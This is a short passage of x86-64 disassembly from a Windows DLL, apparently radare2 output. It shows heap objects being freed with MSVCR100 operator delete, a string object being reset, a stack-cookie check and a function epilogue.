mov rcx, qword [rsp + 0x70]
call sub.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_
mov qword [rsp + 0x88], 7
mov qword [rsp + 0x80], r13
mov word [rsp + 0x70], r13w
test rbx, rbx
je 0x180016690
mov rcx, rbx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_
jmp 0x180016690
test rbx, rbx
je 0x1800167d0
mov rcx, rbx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_
mov al, 1
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.18002f870
mov rbx, qword [rsp + 0xd8]
add rsp, 0xa0
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret